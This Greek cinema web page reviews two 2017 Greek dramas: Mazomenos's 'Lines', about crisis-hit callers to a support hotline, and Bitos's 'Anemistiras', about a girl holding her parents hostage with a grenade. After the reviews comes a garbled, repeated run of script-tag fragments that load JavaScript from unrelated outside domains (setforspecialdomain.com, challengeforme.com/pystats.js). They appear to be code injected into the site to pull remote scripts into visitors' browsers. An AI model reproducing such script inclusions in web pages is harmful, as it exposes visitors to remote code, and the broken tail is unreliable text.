Πάμε κινηματογράφο;

premera-gia-tin-tainia-lines-se-senario-skinothesia-basili-mazwmenou

LINES
Σκηνοθεσία: Βασίλης Μαζωμένος

Επτά πολύ διαφορετικοί Έλληνες τσακισμένοι από την κρίση καταφεύγουν σε τηλεφωνική γραμμή ψυχολογικής υποστήριξης σε αυτή την σπονδυλωτή, προσεγμένη, καλοφωτογραφημένη, ολίγον αριστίκ, μα τελικά πολύ συμβατική ταινία.

Νύχτα σε φτωχική αθηναϊκή ταράτσα. Ένας άντρας (Θανάσης Χαλκιάς) κάνει μπάνιο την καρκινοπαθή γυναίκα του (Γαΐτη), που έχει σταματήσει την θεραπεία της λόγω έλλειψης χρημάτων. Τα παραπάνω τα μαθαίνουμε μέσα από την off φωνή του άντρα, καθώς τηλεφωνάει στο κέντρο ψυχολογικής υποστήριξης «Γραμμή ζωής» -το οποίο είναι τελικά ο αθέατος πρωταγωνιστής και η ραχοκοκαλιά τούτης της σπονδυλωτής ταινίας. Οι πρωταγωνιστές των υπόλοιπων έξι ιστοριών, οι οποίοι επίσης καταφεύγουν στην «Γραμμή ζωής», είναι μια σκληρή 40άρα (Καλαϊτζίδου) στέλεχος μεγαλοεταιρείας που απολύεται, ο ιδιοκτήτης (Μπερικόπουλος, καλός) ενός χρεωκοπημένου μικρού εργοστασίου, ένας ΜΑΤατζής (Βασίλης Γεωργοσόπουλος) σε κρίση συνείδησης, ένας μεσόκοπος άστεγος (Κατσαφάδος) με εγγόνι, ένας γεωργός (Νούσιας) στον οποίον οι νόμοι κι οι προφήτες της Ευρωπαϊκής Ένωσης απαγορεύουν να καλλιεργήσει τη γη του, και, τέλος, ο ίδιος ο πρωθυπουργός (Πάνου) της χώρας σε ένα διάγγελμα συγκαλυμμένης απελπισίας προς τον λαό. Οι έξι πρώτοι είναι σημερινοί Έλληνες, που έχουν δει την κρίση να σκάει στα μούτρα τους, τη ζωή τους και την αξιοπρέπειά τους να διαλύονται, κι ενώ ψιλοφλερτάρουν με την αυτοκτονία αναζητούν μια κάποια στήριξη στην τηλεφωνική γραμμή –στην οποία απαντά η φωνή του Λεωνίδα Κακούρη.

Το ατού της ταινίας είναι η φωτογραφία του Γιώργου Παπανδρικόπουλου: σε τόνους μουντούς, που κινούνται από το γκριπράσινο έως το μαύρο, και με πλάνα μονίμως νυχτερινά, η εικόνα στήνει έναν κόσμο απειλητικό, μινιμαλιστικό, ζοφερό που αποπνέει μια σουρεαλιστική απόγνωση. Σε καλό επίπεδο κινούνται μουσική επένδυση και καλλιτεχνική διεύθυνση. Μολαταύτα (διότι βέβαια υπάρχει «μολαταύτα») η ταινία δεν καταφέρνει να γίνει πειστική ή συγκλονιστική, παρά τα όσα εντελώς αληθινά και όντως συγκλονιστικά αφηγείται. Υπάρχει μια μασκαρεμένη κοινοτοπία σε όσα ποιητικώ τω τρόπω παρουσιάζονται, οι ατάκες ακούγονται επιτηδευμένες, η φωνή στην τηλεφωνική γραμμή δεν αποπνέει καμιά ανθρώπινη ζεστασιά, ενώ και η σκηνοθεσία (ειδικά των ηθοποιών) εμφανίζεται συμβατική.

Σκηνοθεσία
Βασίλης Μαζωμένος
Σενάριο
Βασίλης Μαζωμένος
Πρωταγωνιστούν
Άννα Καλαϊτζίδου, Θόδωρος Κατσαφάδος, Τάσος Νούσιας, Θέμης Πάνου, Άντριαν Φρίλινγκ, Κώστας Μπερικόπουλος, Θέκλα Γαΐτη
Διάρκεια
88
Χώρα
Ελλάδα
Είδος
Σπονδυλωτό δράμα
Πρεμιέρα
16 Νοεμβρίου 2017

 

ΑΝΕΜΙΣΤΗΡΑΣ
Σκηνοθεσία: Δημήτρης Μπίτος

Η 11χρονη κόρη ενός ζευγαριού μεροκαματιάρηδων από την Δραπετσώνα επιχειρεί να αναστήσει την οικογενειακή τους ευτυχία με μια… χειροβομβίδα στο χέρι, σε αυτή την όχι αδιάφορη, αλλά κακογραμμένη ταινία.

Τέσσερα χρόνια μετά την παραγωγή της βγαίνει στις αίθουσες η πρώτη μεγάλου μήκους ταινία του ρηξικέλευθου ηθοποιού και σκηνοθέτη του θεάτρου, Δημήτρη Μπίτου. Με εκ πρώτης όψεως «σφιχτή» διάρκεια και ατμοσφαιρικά, πολύ κοντινά, ή μισά γκροπλάν στα πρόσωπα (διεύθυνση φωτογραφίας, Σταμάτης Γιαννούλης), η ταινία παρακολουθεί κατά πόδας μια τριμελή οικογένεια: ο Άλκης (Βαλαής) δουλεύει στην ιχθυόσκαλα της Δραπετσώνας, η γυναίκα του (Δράκου) σε έναν φούρνο, ενώ η 11χρονη κόρη τους, Λεμονιά (Ανδρουλάκη, πολύ καλή), πάει σχολείο (δεν την βλέπουμε, όμως), μα κάνει παρέα μάλλον μόνο με τους γονείς της. Από θραυσματικές σκηνές, που πάνε μπρος-πίσω στο χρόνο (όχι πολύ πίσω, μη φανταστείτε), μαθαίνουμε ότι η οικογένεια έχει πρόσφατα μετακομίσει από την Θεσσαλονίκη στη Δραπετσώνα (λόγω κρίσης, μάλλον). Σε μια προσπάθεια να αναστήσει την ευτυχισμένη οικογένεια που απολάμβαναν παλιά οι τρεις τους, η Λεμονία αναλαμβάνει δράση. Συγκεκριμένα, απασφαλίζει μια χειροβομβίδα (που βρήκε… τυχαία) και αναγκάζει τους γονείς της να φερθούν καλά και τρυφερά ο ένας στον άλλον, να υποσχεθούν πως θα είναι σωστοί γονείς-σύντροφοι, να ντυθούν και να στολιστούν, και τελικώς να πάνε όλοι μαζί εκδρομή με το αυτοκίνητο σε χειμωνιάτικη παραλία, που είχε φιλοξενήσει την οικογενειακή τους ευτυχία σε θερμότερες μέρες κάποιου κοντινού παρελθόντος…

Ακόμη κι αν προσπεράσουμε την κάπως τραβηγμένη ιδέα, για ένα παιδί που θέτει τους γεννήτορές του προ των ευθυνών τους με τέτοιο «κινηματογραφικό» τρόπο, όσα βγαίνουν από το στόμα των τριών ηρώων –ιδίως της Λεμονιάς, παρά την αξιοπρόσεκτη ερμηνεία της Ανδρουλάκη– είναι εντελώς αντι-κινηματογραφικά. Πιθανόν ο Μπίτος και ο συν-σεναριογράφος του να ήθελαν να προσδώσουν μια ποιητικο-παραβολική διάσταση πανανθρώπινου ηθικοπλαστικού μύθου σε αυτή την οικογενειακή δυνητική τραγωδία. Ούτε καν… Κοινότοπες μεγαλοστομίες, κουραστική επανάληψη φράσεων («Έτσι δεν είναι, μαμά;», «Έτσι δεν είναι, μπαμπά;», ή το πολύ αμήχανο «Θέλεις να φύγεις με το παιδί –μωρή/ γαμημένη/ πες μου;» σε μια στιγμή έντασης των δυο γονιών) και πολύυυυυ αργός ρυθμός στους σα-να-πούμε διαλόγους ρίχνουν, δυστυχώς, το επίπεδο της ταινίας.

Σκηνοθεσία
Δημήτρης Μπίτος
Σενάριο
Παναγιώτης Ευαγγελίδης, Δημήτρης Μπίτος
Πρωταγωνιστούν
Ειρήνη Δράκου, Γιώργος Βαλαής, Δανάη Ανδρουλάκη
Διάρκεια
97
Χώρα
Ελλάδα
Είδος
Οικογενειακό δράμα
Πρεμιέρα
16 Νοεμβρίου 2017

___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >